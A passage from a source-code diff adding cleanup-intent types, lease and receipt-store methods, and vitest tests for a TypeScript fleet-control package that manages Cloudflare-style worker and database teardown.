Readonly<{ + evidenceSha256: string; + evidenceCount: number; + }>; +} + +/** Who authorized this cleanup, with persisted rollback attempt facts. */ +export type CleanupAuthority = + | Readonly<{ kind: 'manual-cleanup' }> + | Readonly<{ + kind: 'provisioning-rollback'; + reservationOwned: boolean; + databaseOwned: boolean; + workerCreatedByAttempt: boolean; + workerResourceState: 'absent' | 'present' | 'unknown'; + requestedSpecDigest: string; + }>; + +/** One durable cleanup step; one call performs at most one step's group. */ +export type CleanupAdvanceState = + | Readonly<{ step: 'teardown-traffic' }> + | Readonly<{ step: 'teardown-worker' }> + | Readonly<{ step: 'teardown-platform' }> + | Readonly<{ + step: 'r2-deletion'; + startResourceIndex: number; + verifiedDetachmentResourceIndex?: number; + }> + | Readonly<{ step: 'attachment-scan'; scan: CleanupAttachmentScan }> + | Readonly<{ + step: 'blocked'; + purpose: CleanupAttachmentPurpose; + attachment: DecommissionBlockedAttachment; + }> + | Readonly<{ step: 'database-deletion' }>; + +/** + * Durable authority for one bounded cleanup or provisioning-rollback + * operation. Cleanup has no terminal intent state — the terminal deletes the + * Fleet row — so any present intent is active. + */ +export interface CleanupAdvanceIntent { + readonly version: 1; + readonly operationId: string; + readonly revision: number; + readonly generation: number; + readonly updatedAt: string; + readonly authority: CleanupAuthority; + readonly identity: Readonly<{ + record: Readonly<{ + tenantTag: string; + environment: string; + backend: ProvisioningBackendKind; + scriptName: string; + databaseId: string; + databaseName: string; + routeHostname: string; + }>; + admittedPhase: ProvisioningPhase; + /** backend.immutableExternalArtifacts === true at admission. */ + externalArtifact: boolean; + }>; + readonly state: CleanupAdvanceState; +} + +/** Transport-neutral non-authoritative continuation token for one cleanup. */ +export interface CleanupAdvanceToken { + readonly version: 1; + readonly tenantTag: string; + readonly environment: string; + readonly operationId: string; + readonly revision: number; +} + +/** Terminal evidence recorded on the immutable cleanup receipt. */ +export interface CleanupReceiptEvidence { + readonly eligibility: + | 'carrier-null' + | 'legacy-phase-impossible' + | 'reservation-only'; + readonly ingressRemoved: boolean; + readonly workerAbsent: boolean; + readonly platformResourcesAbsent: boolean; + readonly applicationR2Settled: boolean; + readonly databaseAbsentReadback: boolean; + readonly scan?: Readonly<{ + discover: Readonly<{ evidenceSha256: string; evidenceCount: number }>; + verify: Readonly<{ evidenceSha256: string; evidenceCount: number }>; + }>; +} + +/** Operation-keyed immutable terminal receipt persisted outside the Fleet row. */ +export interface CleanupTerminalReceipt { + readonly version: 1; + readonly operationId: string; + readonly tenantTag: string; + readonly environment: string; + readonly backend: ProvisioningBackendKind; + readonly scriptName: string; + readonly databaseId: string; + readonly databaseName: string; + readonly authority: 'manual-cleanup' | 'provisioning-rollback'; + readonly admittedPhase: ProvisioningPhase; + readonly disposition: + | 'prepublication-owned-no-export' + | 'reservation-cleared'; + readonly evidence: CleanupReceiptEvidence; + /** D1-assigned; present on every read/return path, absent only on the caller-constructed input. */ + readonly completedAtMs?: number; +} + export interface FleetRecord { readonly tenantTag: string; readonly backend: ProvisioningBackendKind; @@ -744,6 +978,8 @@ export interface FleetRecord { readonly migrationIntent?: ExternalMigrationIntent; readonly backendSwitchIntent?: BackendSwitchIntent; readonly decommissionIntent?: DecommissionAdvanceIntent; + readonly cleanupIntent?: CleanupAdvanceIntent; + readonly invocationAuthority?: InvocationAuthorityCarrier; readonly applicationResources?: readonly ApplicationR2Resource[]; readonly applicationBindings?: ApplicationBindingTopology; readonly durableObjectTag?: string; @@ -772,6 +1008,15 @@ export interface FleetRecord { export function effectiveLifecyclePhase( record: FleetRecord, ): ProvisioningPhase { + if (record.phase === 'cleanup-advancing') { + if (!record.cleanupIntent) { + throw new Error('cleanup-advancing record has no active cleanup intent'); + } + return 'cleanup-advancing'; + } + if (record.cleanupIntent) { + throw new Error('fleet record has inconsistent cleanup intent state'); + } const intent = record.decommissionIntent; if (record.phase === 'decommission-advancing') { if (!intent || intent.state === 'complete') { @@ -806,6 +1051,23 @@ export function assertNoActiveDecommission( } } +/** + * Refuses lifecycle entries while a bounded cleanup is active. Cleanup has no + * terminal intent state — the terminal deletes the Fleet row — so ANY present + * intent is active. + */ +export function assertNoActiveCleanup( + record: FleetRecord, + operation: string, +): void { + if ( + record.phase === 'cleanup-advancing' || + record.cleanupIntent !== undefined + ) { + throw new Error(`${operation} cannot run during an active cleanup`); + } +} + export interface MaintenanceHealth { readonly armed: boolean; readonly nextAlarmAt: number | null; @@ -1453,6 +1715,26 @@ export interface FleetStateLease extends ExternalMutationFence { renew(): Promise; put(record: FleetRecord): Promise; delete(): Promise; + /** + * Atomically persists the immutable terminal cleanup receipt, releases this + * deployment's ownership claims, and deletes the Fleet row in one guarded + * batch. Optional so external lease implementations do not break; callers + * detect it with `Reflect.has`. + */ + completeCleanup?( + input: Readonly<{ + /** The terminal receipt, without `completedAtMs`. */ + receipt: CleanupTerminalReceipt; + /** The intent revision the engine acted on. */ + expectedRevision: number; + }>, + ): Promise; + /** + * Force path: deletes the Fleet row AND releases this deployment's current + * claims, with no receipt. Optional; legacy lease implementations keep + * tombstone claims through `delete()`. + */ + deleteReleasingClaims?(): Promise; } export interface FleetStateStore { @@ -1463,6 +1745,19 @@ export interface FleetStateStore { ): Promise; get(tenantTag: string, environment: string): Promise; list(): Promise; + /** Reads one immutable terminal cleanup receipt by operation id. */ + readCleanupReceipt?( + operationId: string, + ): Promise; + /** + * Bounded explicit receipt GC: deletes at most `limit` receipts whose + * D1-assigned `completedAtMs` is before the cutoff, in stable + * completed-time-then-operation order. `limit` is an integer from 1 to + * 1,000; anything else fails closed. + */ + pruneCleanupReceipts?( + input: Readonly<{ completedBeforeMs: number; limit: number }>, + ): Promise>; } export type ForceDecommissionStep = diff --git a/packages/fleet-control/test/backend-switch.test.ts b/packages/fleet-control/test/backend-switch.test.ts index 84cb26eb..da380350 100644 --- a/packages/fleet-control/test/backend-switch.test.ts +++ b/packages/fleet-control/test/backend-switch.test.ts @@ -10,6 +10,7 @@ import { type BackendSwitchIntent, type BackendSwitchProvider, type BridgeSnapshot, + backendSwitchDecommissionShell, backendSwitchDecommissionSnapshotDigest, backendSwitchIntentFromUnknown, decommissionBackendSwitch, @@ -3678,4 +3679,99 @@ describe('backend switch state machine', () => { expect(lateProvider.calls).toContain('decommission-export'); expect(lateProvider.calls).toContain('decommission-database'); }); + it('fails closed when a decommission record carries a cleanup intent', async () => { + const base = { + tenantTag: 'acme', + environment: 'production', + backend: 'plain-worker', + scriptName: 'acme-production', + databaseId: 'db-acme', + databaseName: 'acme-production', + schemaVersion: 1, + artifactVersion: 'artifact-v1', + desiredSpecDigest: 'a'.repeat(64), + durableObjectBindings: [], + applicationResources: [], + applicationBindings: { vars: [], secrets: [], r2Buckets: [] }, + routeHostname: 'acme.example.test', + phase: 'ready', + updatedAt: '2026-08-29T00:00:00.000Z', + } as const satisfies import('../src/types.js').FleetRecord; + const hostile = { + ...decommissionAdvancingRecordFixture(base, 'ready', { + operationId: '123e4567-e89b-42d3-a456-426614174000', + revision: 0, + generation: 0, + updatedAt: '2026-08-29T00:00:01.000Z', + }), + cleanupIntent: { version: 1 }, + }; + const store = { + get: async () => hostile, + list: async () => [hostile], + withDeploymentLease: async () => { + throw new Error('lease must not be acquired for a hostile record'); + }, + }; + await expect( + decommissionDeployment({ + backend: {} as never, + store: store as never, + spec: { + tenantTag: 'acme', + environment: 'production', + } as never, + }), + ).rejects.toThrow('backend switch decommission record is malformed'); + }); + + it('refuses backend switch decommission shells during an active cleanup', () => { + const record = { + tenantTag: 'acme', + environment: 'production', + backend: 'workers-for-platforms', + scriptName: 'acme-production', + databaseId: '00000000-0000-0000-0000-000000000001', + databaseName: 'acme-production', + schemaVersion: 1, + artifactVersion: 'artifact-v1', + desiredSpecDigest: 'a'.repeat(64), + durableObjectBindings: [], + routeHostname: 'acme.example.test', + phase: 'cleanup-advancing', + updatedAt: '2026-08-29T00:00:00.000Z', + cleanupIntent: { + version: 1, + operationId: '12345678-1234-4abc-8def-1234567890ab', + revision: 0, + generation: 0, + updatedAt: '2026-08-29T00:00:00.000Z', + authority: { kind: 'manual-cleanup' }, + identity: { + record: { + tenantTag: 'acme', + environment: 'production', + backend: 'workers-for-platforms', + scriptName: 'acme-production', + databaseId: '00000000-0000-0000-0000-000000000001', + databaseName: 'acme-production', + routeHostname: 'acme.example.test', + }, + admittedPhase: 'worker-deployed', + externalArtifact: true, + }, + state: { step: 'teardown-traffic' }, + }, + } as const satisfies import('../src/types.js').FleetRecord; + expect(() => + backendSwitchDecommissionShell({ + record, + intent: {} as never, + operationId: '12345678-1234-4abc-8def-1234567890ab', + snapshotSha256: 'a'.repeat(64), + entrySubphase: 'decommission-database' as never, + now: '2026-08-29T00:00:00.000Z', + }), + ).toThrow('cannot run during an active cleanup'); + }); }); diff --git a/packages/fleet-control/test/cleanup-intent.test.ts b/packages/fleet-control/test/cleanup-intent.test.ts new file mode 100644 index 00000000..deb966ed --- /dev/null +++ b/packages/fleet-control/test/cleanup-intent.test.ts @@ -0,0 +1,874 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { describe, expect, it } from 'vitest'; +import { + CLEANUP_INTENT_BYTE_BOUND, + CleanupAdvanceIntentError, + CleanupAdvanceTokenDeploymentError, + CleanupAdvanceTokenError, + CleanupAdvanceTokenFutureError, + CleanupAdvanceTokenOperationError, + CleanupTerminalReceiptError, + canonicalCleanupEvidenceBytes, + classifyCleanupAdvanceToken, + classifyCleanupDatabaseEligibility, + cleanupAdvanceIntentFromUnknown, + cleanupTerminalReceiptFromUnknown, + InvocationAuthorityCarrierError, + invocationAuthorityCarrierFromUnknown, + parseCleanupAdvanceToken, +} from '../src/cleanup-intent.js'; +import { initialWorkerAttachmentScan } from '../src/cloudflare-worker-attachment-scan-state.js'; +import { + DecommissionAdvanceIntentError, + decommissionAdvanceIntentFromUnknown, +} from '../src/decommission-intent.js'; +import type { + CleanupAdvanceIntent, + CleanupAdvanceState, + CleanupAttachmentPurpose, + CleanupAuthority, + CleanupReceiptEvidence, + CleanupTerminalReceipt, + DecommissionAdvanceIntent, + ExternalMigrationIntent, + ExternalPlatformTargetDescription, + ExternalReleaseSnapshot, + FleetRecord, + ProvisioningPhase, +} from '../src/types.js'; +import { PROVISIONING_PHASES } from '../src/types.js'; + +const OPERATION_ID = '12345678-1234-4abc-8def-1234567890ab'; +const OTHER_OPERATION_ID = '87654321-4321-4abc-8def-ba0987654321'; +const DATABASE_ID = '00000000-0000-0000-0000-000000000001'; +const RECEIPT_AUTHORITY = 'memory://fleet-exports/receipts/v1'; +const NOW = '2026-08-29T12:00:00.000Z'; +const DIGEST = 'a'.repeat(64); +const EVIDENCE = 'b'.repeat(64); +const ADMITTED_PHASES = [ + 'database-reserved', + 'database-create-authorized', + 'database-created', + 'identity-seeded', + 'migrated', + 'application-resources-create-authorized', + 'application-resources-deployed', + 'platform-resources-deployed', + 'worker-deployed', + 'maintenance-armed', +] as const; +const RESERVATION_PHASES = [ + 'database-reserved', + 'database-create-authorized', +] as const; +const LEGACY_IMPOSSIBLE_PHASES = [ + 'database-created', + 'identity-seeded', + 'migrated', + 'application-resources-create-authorized', +] as const; + +function fleetRecord(overrides: Partial = {}): FleetRecord { + return { + tenantTag: 'acme', + environment: 'production', + backend: 'plain-worker', + scriptName: 'acme-production', + databaseId: DATABASE_ID, + databaseName: 'acme-production', + schemaVersion: 1, + artifactVersion: 'version-1', + desiredSpecDigest: DIGEST, + durableObjectBindings: [], + applicationResources: [], + applicationBindings: { vars: [], secrets: [], r2Buckets: [] }, + routeHostname: 'acme.example.test', + phase: 'cleanup-advancing', + updatedAt: '2026-08-29T00:00:00.000Z', + ...overrides, + }; +} + +function identity( + overrides: Partial = {}, + source: FleetRecord = fleetRecord(), +): CleanupAdvanceIntent['identity'] { + return { + record: { + tenantTag: source.tenantTag, + environment: source.environment, + backend: source.backend, + scriptName: source.scriptName, + databaseId: source.databaseId, + databaseName: source.databaseName, + routeHostname: source.routeHostname, + }, + admittedPhase: 'worker-deployed', + externalArtifact: false, + ...overrides, + }; +} + +function intent( + state: CleanupAdvanceState, + overrides: Partial = {}, +): CleanupAdvanceIntent { + return { + version: 1, + operationId: OPERATION_ID, + revision: 0, + generation: 0, + updatedAt: NOW, + authority: { kind: 'manual-cleanup' }, + identity: identity(), + state, + ...overrides, + }; +} + +function purpose(): CleanupAttachmentPurpose { + return { + kind: 'cleanup-database-pre-delete', + databaseId: DATABASE_ID, + operationId: OPERATION_ID, + }; +} + +function scanProgress() { + return initialWorkerAttachmentScan({ kind: 'd1', databaseId: DATABASE_ID }); +} + +function parse(value: unknown, source: FleetRecord = fleetRecord()) { + return cleanupAdvanceIntentFromUnknown(value, source); +} + +function rollbackAuthority(): CleanupAuthority { + return { + kind: 'provisioning-rollback', + reservationOwned: true, + databaseOwned: true, + workerCreatedByAttempt: false, + workerResourceState: 'absent', + requestedSpecDigest: DIGEST, + }; +} + +function decommissionRecord(): FleetRecord { + return fleetRecord({ phase: 'decommission-advancing' }); +} + +function decommissionDiscoverIntent(): DecommissionAdvanceIntent { + const source = decommissionRecord(); + return { + version: 1, + operationId: OPERATION_ID, + revision: 0, + generation: 0, + updatedAt: NOW, + identity: { + record: { + tenantTag: source.tenantTag, + environment: source.environment, + backend: source.backend, + scriptName: source.scriptName, + databaseId: source.databaseId, + databaseName: source.databaseName, + routeHostname: source.routeHostname, + }, + mode: { + kind: 'normal', + requestedSpecDigest: source.desiredSpecDigest, + entryLifecyclePhase: 'ready', + }, + }, + databaseExportReceiptAuthority: RECEIPT_AUTHORITY, + lifecyclePhase: 'application-resources-deleted', + state: 'discover', + purpose: { kind: 'database-pre-export', databaseId: DATABASE_ID }, + progress: scanProgress(), + }; +} + +function receiptEvidence(): CleanupReceiptEvidence { + return { + eligibility: 'carrier-null', + ingressRemoved: true, + workerAbsent: true, + platformResourcesAbsent: true, + applicationR2Settled: true, + databaseAbsentReadback: true, + scan: { + discover: { evidenceSha256: EVIDENCE, evidenceCount: 2 }, + verify: { evidenceSha256: EVIDENCE, evidenceCount: 2 }, + }, + }; +} + +function terminalReceipt( + overrides: Partial = {}, +): CleanupTerminalReceipt { + const source = fleetRecord(); + return { + version: 1, + operationId: OPERATION_ID, + tenantTag: source.tenantTag, + environment: source.environment, + backend: source.backend, + scriptName: source.scriptName, + databaseId: source.databaseId, + databaseName: source.databaseName, + authority: 'manual-cleanup', + admittedPhase: 'worker-deployed', + disposition: 'prepublication-owned-no-export', + evidence: receiptEvidence(), + ...overrides, + }; +} + +describe('cleanup advance intent codec', () => { + it('round-trips the teardown-traffic state', () => { + const value = intent({ step: 'teardown-traffic' }); + expect(parse(value)).toEqual(value); + expect(() => + parse({ ...value, state: { step: 'teardown-traffic', extra: 1 } }), + ).toThrow(CleanupAdvanceIntentError); + }); + + it('round-trips the teardown-worker state', () => { + const value = intent( + { step: 'teardown-worker' }, + { authority: rollbackAuthority() }, + ); + expect(parse(value)).toEqual(value); + expect(() => + parse({ + ...value, + state: { step: 'teardown-worker', startResourceIndex: 0 }, + }), + ).toThrow(CleanupAdvanceIntentError); + }); + + it('round-trips the teardown-platform state', () => { + const value = intent({ step: 'teardown-platform' }, { revision: 3 }); + expect(parse(value)).toEqual(value); + expect(() => + parse({ ...value, state: { step: 'teardown-platform', scan: {} } }), + ).toThrow(CleanupAdvanceIntentError); + }); + + it('round-trips the r2-deletion state with and without a verified detachment index', () => { + const bare = intent({ step: 'r2-deletion', startResourceIndex: 1 }); + expect(parse(bare)).toEqual(bare); + const verified = intent({ + step: 'r2-deletion', + startResourceIndex: 1, + verifiedDetachmentResourceIndex: 1, + }); + expect(parse(verified)).toEqual(verified); + expect(() => + parse(intent({ step: 'r2-deletion', startResourceIndex: -1 })), + ).toThrow(CleanupAdvanceIntentError); + expect(() => + parse( + intent({ + step: 'r2-deletion', + startResourceIndex: 0, + verifiedDetachmentResourceIndex: 1.5, + }), + ), + ).toThrow(CleanupAdvanceIntentError); + expect(() => + parse({ + ...bare, + state: { step: 'r2-deletion', startResourceIndex: 0, extra: true }, + }), + ).toThrow(CleanupAdvanceIntentError); + }); + + it('round-trips the attachment-scan discover and verify passes', () => { + const discover = intent({ + step: 'attachment-scan', + scan: { purpose: purpose(), pass: 'discover', progress: scanProgress() }, + }); + expect(parse(discover)).toEqual(discover); + const verify = intent({ + step: 'attachment-scan', + scan: { + purpose: purpose(), + pass: 'verify', + progress: scanProgress(), + discoverEvidence: { evidenceSha256: EVIDENCE, evidenceCount: 2 }, + }, + }); + expect(parse(verify)).toEqual(verify); + expect(() => + parse( + intent({ + step: 'attachment-scan', + scan: { + purpose: purpose(), + pass: 'discover', + progress: scanProgress(), + discoverEvidence: { evidenceSha256: EVIDENCE, evidenceCount: 2 }, + }, + }), + ), + ).toThrow(CleanupAdvanceIntentError); + expect(() => + parse( + intent({ + step: 'attachment-scan', + scan: { + purpose: purpose(), + pass: 'verify', + progress: scanProgress(), + } as never, + }), + ), + ).toThrow(CleanupAdvanceIntentError); + expect(() => + parse( + intent({ + step: 'attachment-scan', + scan: { + purpose: purpose(), + pass: 'verify', + progress: scanProgress(), + discoverEvidence: { evidenceSha256: EVIDENCE, evidenceCount: 1 }, + }, + }), + ), + ).toThrow(CleanupAdvanceIntentError); + expect(() => + parse( + intent({ + step: 'attachment-scan', + scan: { + purpose: purpose(), + pass: 'discover', + progress: { ...scanProgress(), stage: 'unknown-stage' } as never, + }, + }), + ), + ).toThrow(CleanupAdvanceIntentError); + }); + + it('round-trips the blocked state with a safe attachment identity', () => { + const ordinary = intent({ + step: 'blocked', + purpose: purpose(), + attachment: { plane: 'ordinary', scriptName: 'foreign-worker' }, + }); + expect(parse(ordinary)).toEqual(ordinary); + const dispatch = intent({ + step: 'blocked', + purpose: purpose(), + attachment: { + plane: 'dispatch', + scriptName: 'foreign-worker', + dispatchNamespace: 'foreign-namespace', + }, + }); + expect(parse(dispatch)).toEqual(dispatch); + expect(() => + parse({ + ...ordinary, + state: { + step: 'blocked', + purpose: purpose(), + attachment: { plane: 'ordinary', scriptName: '' }, + }, + }), + ).toThrow(CleanupAdvanceIntentError); + }); + + it('round-trips the database-deletion state', () => { + const value = intent({ step: 'database-deletion' }); + expect(parse(value)).toEqual(value); + expect(() => + parse({ ...value, state: { step: 'database-deleting' } }), + ).toThrow(CleanupAdvanceIntentError); + }); + + it('rejects missing, extra, and malformed top-level keys', () => { + const value = intent({ step: 'teardown-traffic' }); + const { state: _state, ...missing } = value; + expect(() => parse(missing)).toThrow(CleanupAdvanceIntentError); + expect(() => parse({ ...value, extra: 1 })).toThrow( + CleanupAdvanceIntentError, + ); + expect(() => parse({ ...value, version: 2 })).toThrow( + CleanupAdvanceIntentError, + ); + expect(() => parse({ ...value, operationId: 'not-a-uuid' })).toThrow( + CleanupAdvanceIntentError, + ); + expect(() => parse({ ...value, revision: -1 })).toThrow( + CleanupAdvanceIntentError, + ); + expect(() => parse({ ...value, generation: 1.5 })).toThrow( + CleanupAdvanceIntentError, + ); + expect(() => + parse({ ...value, updatedAt: '2026-08-29T12:00:00Z' }), + ).toThrow(CleanupAdvanceIntentError); + expect(() => + parse(value, fleetRecord({ phase: 'worker-deployed' })), + ).toThrow(CleanupAdvanceIntentError); + }); + + it('rejects identity mismatches and malformed identity shapes', () => { + const value = intent({ step: 'teardown-traffic' }); + expect(() => + parse({ + ...value, + identity: identity({ + record: { ...identity().record, scriptName: 'other-worker' }, + }), + }), + ).toThrow(CleanupAdvanceIntentError); + expect(() => + parse({ + ...value, + identity: identity({ admittedPhase: 'ready' as ProvisioningPhase }), + }), + ).toThrow(CleanupAdvanceIntentError); + expect(() => + parse({ + ...value, + identity: identity({ externalArtifact: 'no' as never }), + }), + ).toThrow(CleanupAdvanceIntentError); + const { externalArtifact: _externalArtifact, ...withoutArtifact } = + identity(); + expect(() => parse({ ...value, identity: withoutArtifact })).toThrow( + CleanupAdvanceIntentError, + ); + expect(() => + parse({ + ...value, + identity: { + ...identity(), + record: { ...identity().record, extra: 1 }, + }, + }), + ).toThrow(CleanupAdvanceIntentError); + }); + + it('round-trips manual and rollback authority and rejects malformed variants', () => { + const manual = intent({ step: 'database-deletion' }); + expect(parse(manual)).toEqual(manual); + const rollback = intent( + { step: 'database-deletion' }, + { authority: rollbackAuthority() }, + ); + expect(parse(rollback)).toEqual(rollback); + expect(() => + parse({ + ...manual, + authority: { kind: 'manual-cleanup', reservationOwned: true }, + }), + ).toThrow(CleanupAdvanceIntentError); + const { requestedSpecDigest: _digest, ...withoutDigest } = + rollbackAuthority() as Extract< + CleanupAuthority, + { kind: 'provisioning-rollback' } + >; + expect(() => parse({ ...rollback, authority: withoutDigest })).toThrow( + CleanupAdvanceIntentError, + ); + expect(() => + parse({ + ...rollback, + authority: { ...rollbackAuthority(), workerResourceState: 'maybe' }, + }), + ).toThrow(CleanupAdvanceIntentError); + expect(() => + parse({ + ...rollback, + authority: { + ...rollbackAuthority(), + requestedSpecDigest: 'A'.repeat(64), + }, + }), + ).toThrow(CleanupAdvanceIntentError); + }); + + it('rejects a foreign purpose database, operation, or kind', () => { + const blocked = ( + value: CleanupAttachmentPurpose | Record, + ) => + intent({ + step: 'blocked', + purpose: value as CleanupAttachmentPurpose, + attachment: { plane: 'ordinary', scriptName: 'foreign-worker' }, + }); + expect(() => + parse(blocked({ ...purpose(), databaseId: 'other-database' })), + ).toThrow(CleanupAdvanceIntentError); + expect(() => + parse(blocked({ ...purpose(), operationId: OTHER_OPERATION_ID })), + ).toThrow(CleanupAdvanceIntentError); + expect(() => + parse( + blocked({ + kind: 'database-pre-delete', + databaseId: DATABASE_ID, + operationId: OPERATION_ID, + }), + ), + ).toThrow(CleanupAdvanceIntentError); + }); + + it('fails closed on byte, depth, and node bounds', () => { + const value = intent({ step: 'teardown-traffic' }); + expect(CLEANUP_INTENT_BYTE_BOUND).toBe(98_304); + expect(() => + parse({ ...value, state: { step: 'x'.repeat(98_305) } }), + ).toThrow(CleanupAdvanceIntentError); + let deep: unknown = 'leaf'; + for (let index = 0; index < 70; index += 1) deep = [deep]; + expect(() => parse({ ...value, state: deep })).toThrow( + CleanupAdvanceIntentError, + ); + expect(() => + parse({ ...value, state: Array.from({ length: 9_000 }, () => 0) }), + ).toThrow(CleanupAdvanceIntentError); + }); +}); + +describe('cleanup advance token', () => { + const token = { + version: 1, + tenantTag: 'acme', + environment: 'production', + operationId: OPERATION_ID, + revision: 2, + } as const; + + it('parses a canonical token and throws the generic token error first', () => { + expect(parseCleanupAdvanceToken(token)).toEqual(token); + for (const malformed of [ + undefined, + null, + 42, + 'token', + [], + { ...token, extra: 1 }, + { ...token, version: 2 }, + { ...token, operationId: 'not-a-uuid' }, + { ...token, revision: -1 }, + { ...token, tenantTag: '' }, + { ...token, environment: 'x'.repeat(5_000) }, + ]) { + expect(() => parseCleanupAdvanceToken(malformed)).toThrow( + CleanupAdvanceTokenError, + ); + } + }); + + it('classifies current and stale tokens against the active intent', () => { + const source = fleetRecord({ + cleanupIntent: intent({ step: 'database-deletion' }, { revision: 2 }), + }); + expect(classifyCleanupAdvanceToken(token, source)).toBe('current'); + expect(classifyCleanupAdvanceToken({ ...token, revision: 1 }, source)).toBe( + 'stale', + ); + }); + + it('throws deployment, operation, and future token errors in order', () => { + const source = fleetRecord({ + cleanupIntent: intent({ step: 'database-deletion' }, { revision: 2 }), + }); + expect(() => + classifyCleanupAdvanceToken({ ...token, tenantTag: 'other' }, source), + ).toThrow(CleanupAdvanceTokenDeploymentError); + expect(() => + classifyCleanupAdvanceToken( + { ...token, operationId: OTHER_OPERATION_ID }, + source, + ), + ).toThrow(CleanupAdvanceTokenOperationError); + expect(() => + classifyCleanupAdvanceToken( + token, + fleetRecord({ phase: 'ready', applicationResources: [] }), + ), + ).toThrow(CleanupAdvanceTokenOperationError); + expect(() => + classifyCleanupAdvanceToken({ ...token, revision: 3 }, source), + ).toThrow(CleanupAdvanceTokenFutureError); + }); +}); + +describe('invocation authority carrier codec', () => { + it('round-trips null and timestamp carriers', () => { + expect( + invocationAuthorityCarrierFromUnknown({ version: 1, authorizedAt: null }), + ).toEqual({ version: 1, authorizedAt: null }); + expect( + invocationAuthorityCarrierFromUnknown({ version: 1, authorizedAt: NOW }), + ).toEqual({ version: 1, authorizedAt: NOW }); + }); + + it('rejects malformed carrier keys, versions, and timestamps', () => { + for (const malformed of [ + undefined, + null, + 42, + {}, + { version: 1 }, + { authorizedAt: null }, + { version: 1, authorizedAt: null, extra: 1 }, + { version: 2, authorizedAt: null }, + { version: 1, authorizedAt: 42 }, + { version: 1, authorizedAt: '2026-08-29T12:00:00Z' }, + { version: 1, authorizedAt: 'not-a-timestamp' }, + ]) { + expect(() => invocationAuthorityCarrierFromUnknown(malformed)).toThrow( + InvocationAuthorityCarrierError, + ); + } + }); +}); + +describe('cleanup and decommission structural cross-rejection', () => { + it('rejects cleanup intents in the decommission codec and vice versa', () => { + const cleanup = intent({ step: 'database-deletion' }); + expect(() => + decommissionAdvanceIntentFromUnknown(cleanup, decommissionRecord()), + ).toThrow(DecommissionAdvanceIntentError); + const decommission = decommissionDiscoverIntent(); + expect( + decommissionAdvanceIntentFromUnknown(decommission, decommissionRecord()), + ).toEqual(decommission); + expect(() => parse(decommission)).toThrow(CleanupAdvanceIntentError); + }); + + it('rejects the cleanup purpose kind inside decommission scan states', () => { + const decommission = decommissionDiscoverIntent(); + expect(() => + decommissionAdvanceIntentFromUnknown( + { ...decommission, purpose: purpose() }, + decommissionRecord(), + ), + ).toThrow(DecommissionAdvanceIntentError); + }); +}); + +describe('canonical cleanup evidence serialization', () => { + it('serializes receipt evidence independent of key order', () => { + const ordered = receiptEvidence(); + const reordered = JSON.parse( + JSON.stringify({ + scan: { + verify: { evidenceCount: 2, evidenceSha256: EVIDENCE }, + discover: { evidenceCount: 2, evidenceSha256: EVIDENCE }, + }, + databaseAbsentReadback: true, + applicationR2Settled: true, + platformResourcesAbsent: true, + workerAbsent: true, + ingressRemoved: true, + eligibility: 'carrier-null', + }), + ) as CleanupReceiptEvidence; + expect(canonicalCleanupEvidenceBytes(reordered)).toBe( + canonicalCleanupEvidenceBytes(ordered), + ); + expect( + canonicalCleanupEvidenceBytes({ ...ordered, workerAbsent: false }), + ).not.toBe(canonicalCleanupEvidenceBytes(ordered)); + }); +}); + +describe('cleanup terminal receipt codec', () => { + it('round-trips a terminal receipt and rejects malformed receipts', () => { + const receipt = terminalReceipt(); + expect(cleanupTerminalReceiptFromUnknown(receipt)).toEqual(receipt); + const completed = terminalReceipt({ completedAtMs: 1_760_000_000_000 }); + expect(cleanupTerminalReceiptFromUnknown(completed)).toEqual(completed); + const { scan: _scan, ...scanless } = receiptEvidence(); + const reservation = terminalReceipt({ + authority: 'provisioning-rollback', + admittedPhase: 'database-reserved', + disposition: 'reservation-cleared', + evidence: { ...scanless, eligibility: 'reservation-only' }, + }); + expect(cleanupTerminalReceiptFromUnknown(reservation)).toEqual(reservation); + for (const malformed of [ + undefined, + { ...receipt, extra: 1 }, + { ...receipt, version: 2 }, + { ...receipt, operationId: 'not-a-uuid' }, + { ...receipt, authority: 'forced' }, + { ...receipt, admittedPhase: 'publishing' }, + { ...receipt, disposition: 'exported' }, + { ...receipt, completedAtMs: -1 }, + { ...receipt, evidence: { ...receiptEvidence(), eligibility: 'always' } }, + { ...receipt, evidence: { ...receiptEvidence(), extra: true } }, + { + ...receipt, + evidence: { + ...receiptEvidence(), + scan: { discover: { evidenceSha256: EVIDENCE, evidenceCount: 2 } }, + }, + }, + ]) { + expect(() => cleanupTerminalReceiptFromUnknown(malformed)).toThrow( + CleanupTerminalReceiptError, + ); + } + }); +}); + +describe('classifyCleanupDatabaseEligibility', () => { + function release(): ExternalReleaseSnapshot { + return { + physicalScriptName: 'acme-production', + specDigest: DIGEST, + artifactVersion: 'version-1', + releaseSchemaVersion: 1, + }; + } + + function classify(record: FleetRecord, externalArtifact = false) { + return classifyCleanupDatabaseEligibility({ record, externalArtifact }); + } + + it('refuses phases outside the admitted set toward export-backed decommissioning', () => { + for (const phase of PROVISIONING_PHASES.filter( + (candidate) => !ADMITTED_PHASES.includes(candidate as never), + )) { + expect(classify(fleetRecord({ phase }))).toEqual({ + eligible: false, + reason: 'phase-requires-decommission', + }); + } + }); + + it('refuses Workers for Platforms and external artifacts as untrusted data bindings', () => { + expect( + classify( + fleetRecord({ + backend: 'workers-for-platforms', + phase: 'worker-deployed', + }), + ), + ).toEqual({ eligible: false, reason: 'untrusted-data-binding' }); + expect(classify(fleetRecord({ phase: 'worker-deployed' }), true)).toEqual({ + eligible: false, + reason: 'untrusted-data-binding', + }); + }); + + it('refuses records carrying external staging evidence', () => { + const staged: readonly Partial[] = [ + { activeRelease: release() }, + { pendingRelease: release() }, + { migrationPriorRelease: release() }, + { rollbackRelease: release() }, + { retiringRelease: release() }, + { platformTarget: {} as ExternalPlatformTargetDescription }, + { migrationIntent: {} as ExternalMigrationIntent }, + { pendingArtifactVersion: 'candidate-v1' }, + { pendingSpecDigest: DIGEST }, + ]; + for (const overrides of staged) { + expect( + classify(fleetRecord({ phase: 'worker-deployed', ...overrides })), + ).toEqual({ eligible: false, reason: 'external-staging-evidence' }); + } + }); + + it('fails closed on a malformed invocation authority carrier', () => { + for (const carrier of [ + undefined, + 42, + { version: 2, authorizedAt: null }, + { version: 1, authorizedAt: 42 }, + { version: 1, authorizedAt: null, extra: 1 }, + ]) { + expect( + classify({ + ...fleetRecord({ phase: 'worker-deployed' }), + invocationAuthority: carrier as never, + }), + ).toEqual({ eligible: false, reason: 'malformed-carrier' }); + } + }); + + it('refuses a null carrier at maintenance-armed as carrier-phase-inconsistent', () => { + expect( + classify( + fleetRecord({ + phase: 'maintenance-armed', + invocationAuthority: 